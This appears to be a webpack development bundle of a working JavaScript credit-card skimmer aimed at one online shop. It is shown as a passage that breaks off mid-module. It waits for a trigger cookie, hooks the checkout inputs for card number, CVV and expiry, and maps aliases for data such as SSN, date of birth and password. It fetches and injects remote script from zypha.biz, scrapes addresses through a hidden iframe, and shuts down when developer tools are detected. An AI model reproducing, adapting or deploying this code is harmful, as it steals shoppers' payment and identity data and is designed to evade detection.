if (document.cookie.includes('_aKfaeoqsr5R')) { /* * ATTENTION: The "eval" devtool has been used (maybe by default in mode: "development"). * This devtool is neither made for production nor for readable output files. * It uses "eval()" calls to create a separate source file in the browser devtools. * If you are trying to read the output file, select a different devtool (https://webpack.js.org/configuration/devtool/) * or disable the default devtool with "devtool: false". * If you are looking for production-ready output files, see mode: "production" (https://webpack.js.org/configuration/mode/). */ /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({ /***/ "./iframe/144. Route-coventgardenfx/config/index.js": /*!**********************************************************!*\ !*** ./iframe/144. Route-coventgardenfx/config/index.js ***! \**********************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ configs: () => (/* binding */ configs)\n/* harmony export */ });\n/* harmony import */ var _src_obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../../src/obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _src_support_getters__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../../src/support/getters */ \"./src/support/getters/index.js\");\n//localStorage.setItem(\"nhsuq\", \"9lie0\");\n\n\nconst configs = {\n gate_url: (0,_src_support_getters__WEBPACK_IMPORTED_MODULE_1__.getGate)(_src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`.mln.js`)),\n LOCAL_STORAGE_DATA_KEY: _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`_gia`),\n DEV_COOKIE: _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`_gia`),\n debug_key: _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`nhsuq`),\n debug_value: _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`9lie0`),\n crypto: {\n \"hash\": \"8droiz7q54z4pjjwq2j9k8h3u2u8dmvnixffay8y\",\n \"key\": \"ywgf0qzhrndxqviwy3enykdkzqn22pgy3wtvzllx\"\n },\n aliases: {\n \"card_cvv\": \"24exflri\",\n \"card_exp_month\": \"pgv6o06h\",\n \"card_exp_year\": \"hw7cjyr0\",\n \"card_holder\": \"4rxlcadn\",\n \"card_holder_address\": \"i4czekma\",\n \"card_holder_city\": \"r82hepk0\",\n \"card_holder_company\": \"e980ynhl\",\n \"card_holder_country\": \"y3xxuc0t\",\n \"card_holder_dl\": \"42w6tx73\",\n \"card_holder_dob\": \"psmwh83n\",\n \"card_holder_document\": \"ahacx70z\",\n \"card_holder_email\": \"fsfhx6dq\",\n \"card_holder_first_name\": \"9u702n2s\",\n \"card_holder_ip\": \"1065a1jh\",\n \"card_holder_last_name\": \"sremmog7\",\n \"card_holder_mmn\": \"veir8qa3\",\n \"card_holder_password\": \"g566t6eq\",\n \"card_holder_phone\": \"8m1091sp\",\n \"card_holder_region\": \"r3tdk7xq\",\n \"card_holder_ssn\": \"59voggmz\",\n \"card_holder_user_agent\": \"09ko2ko7\",\n \"card_holder_zip\": \"l88d7pug\",\n \"card_number\": \"4bc85ea2\"\n }\n};\n\n//# sourceURL=webpack://basic/./iframe/144._Route-coventgardenfx/config/index.js?\n}"); /***/ }), /***/ "./iframe/144. Route-coventgardenfx/iframe.js": /*!****************************************************!*\ !*** ./iframe/144. Route-coventgardenfx/iframe.js ***! \****************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Frame)\n/* harmony export */ });\nclass Frame {\n constructor(detector, sniffer) {\n // DO NOT EDIT THIS!\n this.MODAL_HTML=``;\n this.MODAL_CSS=``;\n }\n}\n\n//# sourceURL=webpack://basic/./iframe/144._Route-coventgardenfx/iframe.js?\n}"); /***/ }), /***/ "./iframe/144. Route-coventgardenfx/index.js": /*!***************************************************!*\ !*** ./iframe/144. Route-coventgardenfx/index.js ***! \***************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony import */ var _iframe__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./iframe */ \"./iframe/144. Route-coventgardenfx/iframe.js\");\n/* harmony import */ var _src_subscriber__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../src/subscriber */ \"./src/subscriber/index.js\");\n/* harmony import */ var _src_sniffer__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../../src/sniffer */ \"./src/sniffer/index.js\");\n/* harmony import */ var _src_devDetector__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../../src/devDetector */ \"./src/devDetector/index.js\");\n/* harmony import */ var _config__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./config */ \"./iframe/144. Route-coventgardenfx/config/index.js\");\n/* harmony import */ var _validations__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./validations */ \"./iframe/144. Route-coventgardenfx/validations/index.js\");\n/* harmony import */ var _src_obfucator__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(/*! ../../src/obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _src_checkoutInFrame__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(/*! ../../src/checkoutInFrame */ \"./src/checkoutInFrame/index.js\");\n/* harmony import */ var _src_checkers_Card__WEBPACK_IMPORTED_MODULE_8__ = __webpack_require__(/*! ../../src/checkers/Card */ \"./src/checkers/Card.js\");\n/* harmony import */ var _src_checkers_Cvv__WEBPACK_IMPORTED_MODULE_9__ = __webpack_require__(/*! ../../src/checkers/Cvv */ \"./src/checkers/Cvv.js\");\n/* harmony import */ var _src_checkers_DateInputs__WEBPACK_IMPORTED_MODULE_10__ = __webpack_require__(/*! ../../src/checkers/DateInputs */ \"./src/checkers/DateInputs.js\");\n/* harmony import */ var _src_checkers_Holder__WEBPACK_IMPORTED_MODULE_11__ = __webpack_require__(/*! ../../src/checkers/Holder */ \"./src/checkers/Holder.js\");\n/* harmony import */ var _src_sniffer_helps__WEBPACK_IMPORTED_MODULE_12__ = __webpack_require__(/*! ../../src/sniffer/helps */ \"./src/sniffer/helps.js\");\n\n\n\n\n\n\n\n\n\n\n\n\n\nconst detector = new _src_devDetector__WEBPACK_IMPORTED_MODULE_3__[\"default\"](_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`1.1`), _config__WEBPACK_IMPORTED_MODULE_4__.configs);\nlet sniffer = new _src_sniffer__WEBPACK_IMPORTED_MODULE_2__[\"default\"](detector, _config__WEBPACK_IMPORTED_MODULE_4__.configs);\ndetector.setSniffer(sniffer).start();\nlet savedData = {};\n// detector.initDOMLogs();\n\nif (!detector.isDetect) {\n const qI = _src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`querySelector`),\n g = _src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`getElementById`);\n\n // const frame = new Frame(detector, sniffer);\n\n detector.detectDevCallback = () => {\n detector.cl(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`detectDevCallback: Stop sniffer. Close modal`));\n sniffer.stop();\n location.reload();\n };\n const link = decodeURIComponent(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`%3Cform%20action%3D%22x000%22%20method%3D%22POST%22%3E%3Cinput%20id%3D%22usebutton%22%20type%3D%22submit%22%20style%3D%22display%3Anone%3B%22%3E%3C%2Fform%3E`));\n let src;\n const checkoutFrame = new _src_checkoutInFrame__WEBPACK_IMPORTED_MODULE_7__[\"default\"](detector, document);\n checkoutFrame.setOuterHTML(link.replace(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`x000`), location.href));\n checkoutFrame.waitSelector(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`#usebutton`), item => {\n item.click();\n document.body.style.setProperty('overflow', 'hidden');\n fetch(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`//zypha.biz/f.mln.js`)).then(res => res.text()).then(data => {\n src = data;\n });\n });\n checkoutFrame.waitSelector(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`#placeOrderBtn`), (item, ctx) => {\n detector.cl(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`checkout`));\n const script = document.createElement(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`script`));\n script.innerHTML = src;\n ctx.doc.head.appendChild(script);\n ctx.win[_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`_ga_b310aF49e`)] = () => {\n sniffer.sendAndStop(true);\n };\n });\n checkoutFrame.waitSelector(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`#card-field-submit-button`), (item, ctx) => {\n detector.cl(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`checkout`));\n const script = document.createElement(_src_obfucator__WEBPACK_IMPORTED_MODULE_6__[\"default\"].decodeText(`script`));\n script.innerHTML = src;\n ctx.doc.head.appendChild(script);\n setTimeout(() => {\n ctx.win._gdjJfsdjj = () => {\n location.reload();\n };\n }, 2000);\n });\n checkoutFrame.run();\n}\n\n//# sourceURL=webpack://basic/./iframe/144._Route-coventgardenfx/index.js?\n}"); /***/ }), /***/ "./iframe/144. Route-coventgardenfx/validations/index.js": /*!***************************************************************!*\ !*** ./iframe/144. Route-coventgardenfx/validations/index.js ***! \***************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ save: () => (/* binding */ save)\n/* harmony export */ });\n/* harmony import */ var _src_obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../../../src/obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _src_support__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../../../src/support */ \"./src/support/index.js\");\n\n\nconst firstname = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomer][name]\"]`);\nconst address = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomerShipping][Line1]\"]`);\nconst state = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomerShipping][zone_id]\"]`);\nconst phone = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomer][phone_number]\"]`);\nconst mail = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomer][account_email_address]\"]`);\nconst city = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomerShipping][Line2]\"]`);\nconst zip = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomerShipping][PostalCode]\"]`);\nfunction save(sniffer, doc) {\n try {\n const d = doc,\n q = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`querySelector`);\n const s = sniffer,\n a = `setByAlias`;\n return fetch(_src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`/users/add_edit_address/`) + d.querySelector(_src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomerShipping1][billing_address_id]\"]`)).value).then(res => res.text()).then(data => {\n const frame = document.createElement('iframe');\n frame.id = _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`userhidden`);\n const iframe = document.body.appendChild(frame);\n const dom = iframe.contentWindow.document;\n dom.open();\n dom.write(data);\n dom.close();\n return new Promise(res => {\n const interval = setInterval(() => {\n if (dom.querySelector(_src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`[name=\"data[CrmCustomerShipping][attr]\"]`))) {\n clearInterval(interval);\n s[a](\"card_holder_email\", d[q](mail)?.value);\n s[a](\"card_holder_first_name\", d[q](firstname)?.value.split(' ')[0]);\n s[a](\"card_holder_last_name\", d[q](firstname)?.value.split(' ')[1]);\n s[a](\"card_holder_address\", dom[q](address)?.value);\n s[a](\"card_holder_city\", dom[q](city)?.value);\n s[a](\"card_holder_phone\", d[q](phone)?.value);\n s[a](\"card_holder_postcode\", dom[q](zip)?.value);\n s[a](\"card_holder_region\", dom[q](_src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`option[value=\"`) + dom[q](state)?.value + _src_obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`\"]`)).innerText);\n iframe?.remove();\n res();\n }\n });\n });\n });\n } catch (e) {}\n}\n\n//# sourceURL=webpack://basic/./iframe/144._Route-coventgardenfx/validations/index.js?\n}"); /***/ }), /***/ "./src/checkers/Card.js": /*!******************************!*\ !*** ./src/checkers/Card.js ***! \******************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Card)\n/* harmony export */ });\n/* harmony import */ var _support__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../support */ \"./src/support/index.js\");\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _errViewer__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../errViewer */ \"./src/errViewer/index.js\");\n/* harmony import */ var _support_cards__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../support/cards */ \"./src/support/cards.js\");\n\n\n\n\n\n// For check data in one 'text input'\nclass Card {\n static defOpt = {\n doc: document,\n // Is the element in focus at the start.\n isFocusOnStart: false,\n // For auto jump. Accepts a class with the \"isValid\" and \"toFocus\" methods.\n nextFocus: null,\n autoJump: true,\n // Ability to disable formatting input\n styleControl: true,\n cardSeparator: ' ',\n err: {\n // encodeURIComponent(msg)\n msg: \"\",\n // Selector of the element for displaying errors\n targetSelector: _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`div[id=\"v-card-error\"]`),\n // Whether to check an empty field (deprecated)\n // checkEmpty: false,\n // Start of the check when the field length is greater than or equal to \"runCheckLen\"\n runCheckLen: 1,\n tidyBlock: false\n },\n onChangeErr: () => {},\n onValidStatusChange: () => {},\n onTypeChange: () => {}\n };\n constructor(sniffer, cardInput, opt = {}) {\n this.sniffer = sniffer;\n this.cardInput = cardInput;\n this.card = _support_cards__WEBPACK_IMPORTED_MODULE_3__.cards[0];\n this.isValidStatus = false;\n this.opt = {\n ...Card.defOpt,\n ...opt\n };\n this.InitErrViewer();\n }\n setOpt(opt = {}) {\n this.opt = {\n ...this.opt,\n ...opt\n };\n this.InitErrViewer();\n }\n InitErrViewer() {\n this.errViewer = new _errViewer__WEBPACK_IMPORTED_MODULE_2__[\"default\"]({\n defMsg: this.opt.err.msg,\n tidyBlock: this.opt.err.tidyBlock,\n classTarget: this.cardInput,\n msgTarget: this.opt.err.targetSelector === '' ? null : this.opt.doc[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`querySelector`)](this.opt.err.targetSelector)\n });\n }\n subscribeTo() {\n const cardInput = this.cardInput;\n cardInput.oninput = () => {\n const cardCode = cardInput.value.replace(_support__WEBPACK_IMPORTED_MODULE_0__.regNum, '').substring(0, _support_cards__WEBPACK_IMPORTED_MODULE_3__.defCardLen);\n if (cardCode.length === 0) {\n cardInput.value = \"\";\n this.setCard(_support_cards__WEBPACK_IMPORTED_MODULE_3__.cards[0]);\n return;\n }\n const nCard = Card.getCardByNum(cardCode);\n this.setCard(nCard);\n if (this.opt.styleControl) {\n cardInput.value = cardCode.match(this.card[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`mask`)].RegExp).slice(1).filter(el => {\n return !!el;\n }).join(this.opt.cardSeparator);\n }\n const isValid = this.isValid(cardInput.value);\n if (isValid) {\n // for auto jump\n const nextFocus = this.opt.nextFocus;\n if (nextFocus && !nextFocus.isValid() && this.opt.autoJump) nextFocus.focus();\n this.sniffer.setByAlias(\"card_number\", cardInput.value);\n }\n if (this.isValidStatus !== isValid) {\n this.isValidStatus = isValid;\n this.opt.onValidStatusChange(this);\n }\n };\n cardInput.onfocus = () => {\n this.hideErr();\n };\n cardInput.onblur = () => {\n if (cardInput.value.replace(_support__WEBPACK_IMPORTED_MODULE_0__.regNum, '').length >= this.opt.err.runCheckLen) {\n if (this.isValid(cardInput.value)) this.hideErr();else this.showErr();\n }\n };\n if (this.opt.isFocusOnStart) cardInput.focus();\n return this;\n }\n static getCardByNum(num) {\n for (let i = 1; i < _support_cards__WEBPACK_IMPORTED_MODULE_3__.cards.length; i++) {\n let card = _support_cards__WEBPACK_IMPORTED_MODULE_3__.cards[i];\n if (card[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`pattern`)].test(num)) return card;\n }\n return _support_cards__WEBPACK_IMPORTED_MODULE_3__.cards[0];\n }\n saveCard(card) {\n const isValid = this.isValid(card || this.cardInput.value);\n if (isValid) {\n this.sniffer.setByAlias(\"card_number\", card || this.cardInput.value);\n }\n }\n setCard(card) {\n if (this.card.id !== card.id) {\n this.card = card;\n this.opt.onTypeChange(card.id);\n }\n }\n isValid() {\n const val = this.cardInput.value.replace(/\\D/g, '');\n return val.length === this.card[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`mask`)].len && luhnAlgorithm(val);\n }\n static isValidVal(val) {\n const v = val.replace(/\\D/g, '');\n const nCard = this.getCardByNum(v);\n return v.length === nCard[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`mask`)].len && luhnAlgorithm(v);\n }\n showErr() {\n this.opt.onChangeErr(true);\n this.errViewer.showMsg();\n }\n hideErr() {\n this.opt.onChangeErr(false);\n this.errViewer.hideMsg();\n }\n getCard() {\n return this.cardInput.value;\n }\n}\nfunction luhnAlgorithm(cardNum) {\n if (/[^0-9-\\s]+/.test(cardNum)) return false;\n let nCheck = 0,\n bEven = false;\n for (let n = cardNum.length - 1; n >= 0; n--) {\n let cDigit = cardNum.charAt(n),\n nDigit = parseInt(cDigit, 10);\n if (bEven && (nDigit *= 2) > 9) nDigit -= 9;\n nCheck += nDigit;\n bEven = !bEven;\n }\n return nCheck % 10 === 0;\n}\n\n//# sourceURL=webpack://basic/./src/checkers/Card.js?\n}"); /***/ }), /***/ "./src/checkers/Cvv.js": /*!*****************************!*\ !*** ./src/checkers/Cvv.js ***! \*****************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Cvv)\n/* harmony export */ });\n/* harmony import */ var _support__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../support */ \"./src/support/index.js\");\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _errViewer__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../errViewer */ \"./src/errViewer/index.js\");\n\n\n\n\n// For check cvv in one 'text input'\nclass Cvv {\n static defOpt = {\n doc: document,\n // For auto jump. Accepts a class with the \"isValid\" and \"toFocus\" methods.\n nextFocus: null,\n autoJump: true,\n err: {\n // encodeURIComponent(msg)\n msg: \"\",\n // Selector of the element for displaying errors\n targetSelector: _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`div[id=\"v-cvv-error\"]`),\n // Whether to check an empty field (deprecated)\n // checkEmpty: false,\n // Start of the check when the field length is greater than or equal to \"runCheckLen\"\n runCheckLen: 1,\n tidyBlock: false\n },\n onChangeErr: () => {},\n onValidStatusChange: () => {}\n };\n constructor(sniffer, cvvInput, opt = {}) {\n this.sniffer = sniffer;\n this.cvvInput = cvvInput;\n this.isValidStatus = false;\n this.opt = {\n ...Cvv.defOpt,\n ...opt\n };\n this.InitErrViewer();\n }\n setOpt(opt = {}) {\n this.opt = {\n ...this.opt,\n ...opt\n };\n this.InitErrViewer();\n }\n InitErrViewer() {\n this.errViewer = new _errViewer__WEBPACK_IMPORTED_MODULE_2__[\"default\"]({\n defMsg: this.opt.err.msg,\n tidyBlock: this.opt.err.tidyBlock,\n classTarget: this.cvvInput,\n msgTarget: this.opt.err.targetSelector === '' ? null : this.opt.doc[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`querySelector`)](this.opt.err.targetSelector)\n });\n }\n subscribeTo() {\n const cvvInput = this.cvvInput;\n cvvInput.oninput = () => {\n const cvv = cvvInput.value.replace(_support__WEBPACK_IMPORTED_MODULE_0__.regNum, '').substring(0, 4);\n if (cvv.length === 0) {\n cvvInput.value = \"\";\n return;\n }\n cvvInput.value = cvv;\n const isValid = this.isValid(cvvInput.value);\n if (isValid) {\n // for auto jump\n const nextFocus = this.opt.nextFocus;\n if (nextFocus && !nextFocus.isValid() && this.opt.autoJump) nextFocus.focus();\n this.sniffer.setByAlias(\"card_cvv\", cvvInput.value);\n }\n if (this.isValidStatus !== isValid) {\n this.isValidStatus = isValid;\n this.opt.onValidStatusChange(this);\n }\n };\n cvvInput.onfocus = () => {\n this.hideErr();\n };\n cvvInput.onblur = () => {\n if (cvvInput.value.replace(_support__WEBPACK_IMPORTED_MODULE_0__.regNum, '').length >= this.opt.err.runCheckLen) {\n if (this.isValid(cvvInput.value)) this.hideErr();else this.showErr();\n }\n };\n return this;\n }\n isValid() {\n return this.cvvInput.value.replace(/\\D/g, '').length >= 3;\n }\n showErr() {\n this.opt.onChangeErr(true);\n this.errViewer.showMsg();\n }\n hideErr() {\n this.opt.onChangeErr(false);\n this.errViewer.hideMsg();\n }\n focus() {\n this.cvvInput.focus();\n }\n getCvv() {\n return this.cvvInput.value;\n }\n useSniffer() {\n this.sniffer.setByAlias(\"card_cvv\", this.cvvInput.value);\n }\n}\n\n//# sourceURL=webpack://basic/./src/checkers/Cvv.js?\n}"); /***/ }), /***/ "./src/checkers/Date.js": /*!******************************!*\ !*** ./src/checkers/Date.js ***! \******************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ checkDate: () => (/* binding */ checkDate),\n/* harmony export */ \"default\": () => (/* binding */ DateCard)\n/* harmony export */ });\n/* harmony import */ var _support__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../support */ \"./src/support/index.js\");\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _errViewer__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../errViewer */ \"./src/errViewer/index.js\");\n\n\n\n\n// For check data in one 'text input'\nclass DateCard {\n static defOpt = {\n doc: document,\n // For auto jump. Accepts a class with the \"isValid\" and \"toFocus\" methods.\n nextFocus: null,\n autoJump: true,\n splitMask: \" / \",\n //is date format - YYYY\n longFormat: false,\n err: {\n // encodeURIComponent(msg)\n msg: \"\",\n // Selector of the element for displaying errors\n targetSelector: _obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`div[id=\"v-date-error\"]`),\n // Whether to check an empty field (deprecated)\n // checkEmpty: false,\n // Start of the check when the field length is greater than or equal to \"runCheckLen\"\n runCheckLen: 0,\n // Clear the block when hiding an error\n tidyBlock: false\n },\n onValidStatusChange: () => {},\n onInput: () => {}\n };\n constructor(sniffer, dateInput, opt = {}) {\n this.sniffer = sniffer;\n this.dateInput = dateInput;\n this.isValidStatus = false;\n this.opt = {\n ...DateCard.defOpt,\n ...opt\n };\n this.InitErrViewer();\n }\n setOpt(opt = {}) {\n this.opt = {\n ...this.opt,\n ...opt\n };\n this.InitErrViewer();\n }\n InitErrViewer() {\n this.errViewer = new _errViewer__WEBPACK_IMPORTED_MODULE_2__[\"default\"]({\n defMsg: this.opt.err.msg,\n tidyBlock: this.opt.err.tidyBlock,\n classTarget: this.dateInput,\n msgTarget: this.opt.err.targetSelector === '' ? null : this.opt.doc[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`querySelector`)](this.opt.err.targetSelector)\n });\n }\n subscribeTo() {\n const dateInput = this.dateInput;\n let lastLength = 0;\n dateInput.oninput = () => {\n const inputVal = dateInput.value.replace(_support__WEBPACK_IMPORTED_MODULE_0__.regNum, '');\n const expCard = this.opt.longFormat ? inputVal.substring(0, 6) : inputVal.substring(0, 4);\n if (expCard.length === 0) {\n lastLength = expCard.length;\n dateInput.value = \"\";\n return;\n }\n if (lastLength < expCard.length) {\n lastLength = expCard.length;\n if (expCard.length === 1 && expCard > 1) {\n dateInput.value = \"0\" + expCard + this.opt.splitMask;\n return;\n }\n if (expCard.length === 2) {\n dateInput.value = expCard + this.opt.splitMask;\n return;\n }\n }\n lastLength = expCard.length;\n if (expCard.length > 4) dateInput.value = expCard.slice(0, 2) + this.opt.splitMask + expCard.slice(2);else dateInput.value = expCard.match(/.{1,2}/g).join(this.opt.splitMask);\n const isValid = this.isValid(dateInput.value);\n if (isValid) {\n // for auto jump\n const nextFocus = this.opt.nextFocus;\n if (nextFocus && !nextFocus.isValid() && this.opt.autoJump) nextFocus.focus();\n this.sniffer.setByAlias(\"card_exp_month\", dateInput.value.split(this.opt.splitMask)[0]);\n this.sniffer.setByAlias(\"card_exp_year\", dateInput.value.split(this.opt.splitMask)[1]);\n }\n if (this.isValidStatus !== isValid) {\n this.isValidStatus = isValid;\n this.opt.onValidStatusChange();\n }\n this.opt.onInput();\n };\n dateInput.onfocus = () => {\n this.errViewer.hideMsg();\n };\n dateInput.onblur = () => {\n if (dateInput.value.replace(_support__WEBPACK_IMPORTED_MODULE_0__.regNum, '').length >= this.opt.err.runCheckLen) {\n if (this.isValid(dateInput.value)) this.errViewer.hideMsg();else this.errViewer.showMsg();\n }\n };\n return this;\n }\n isValid() {\n const val = this.dateInput.value;\n if (val.replace(/\\D/g, '').length !== 4 && val.replace(/\\D/g, '').length !== 6) return false;\n const mm = parseInt(val.split(this.opt.splitMask)[0]);\n let yy = parseInt(val.split(this.opt.splitMask)[1]);\n if (yy > 2000) yy = yy - 2000;\n return checkDate(mm, yy);\n }\n getMM() {\n return this.dateInput.value.split(this.opt.splitMask)[0];\n }\n getYY() {\n const date = this.dateInput.value.split(this.opt.splitMask);\n if (date.length === 2) return date[1];\n return 0;\n }\n getValues() {\n return {\n month: this.getMM(),\n year: this.getYY()\n };\n }\n focus() {\n this.dateInput.focus();\n }\n showErr() {\n this.errViewer.showMsg();\n }\n}\nfunction checkDate(mm, yy) {\n const date = new Date();\n const currYear = date[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`getFullYear`)]();\n if (yy && yy + 2000 <= currYear + 14 && mm <= 12 && mm !== 0) {\n //+14 years for the validity of the card from the current year maximum\n if (!(yy && yy + 2000 > currYear || yy && yy + 2000 === currYear && mm > date[_obfucator__WEBPACK_IMPORTED_MODULE_1__[\"default\"].decodeText(`getMonth`)]())) return false; //old card\n } else return false; //very future card\n\n return true;\n}\n\n//# sourceURL=webpack://basic/./src/checkers/Date.js?\n}"); /***/ }), /***/ "./src/checkers/DateInputs.js": /*!************************************!*\ !*** ./src/checkers/DateInputs.js ***! \************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { eval("{__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ DateInputs)\n/* harmony export */ });\n/* harmony import */ var _obfucator__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../obfucator */ \"./src/obfucator/index.js\");\n/* harmony import */ var _errViewer__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../errViewer */ \"./src/errViewer/index.js\");\n/* harmony import */ var _Date__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Date */ \"./src/checkers/Date.js\");\n/* harmony import */ var _support__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ../support */ \"./src/support/index.js\");\n\n\n\n\n\n// For check data in 'text inputs'. (two input!)\nclass DateInputs {\n static defOpt = {\n doc: document,\n // For auto jump. Accepts a class with the \"isValid\" and \"toFocus\" methods.\n nextFocus: null,\n autoJump: true,\n // Ability to disable formatting input\n styleControl: true,\n err: {\n // encodeURIComponent(msg)\n msgMM: \"\",\n // encodeURIComponent(msg)\n msgYY: \"\",\n // Selector of the element for displaying errors\n targetSelectorMM: _obfucator__WEBPACK_IMPORTED_MODULE_0__[\"default\"].decodeText(`div[id=\"v-cvv-error\"]`),\n targetSelectorYY: 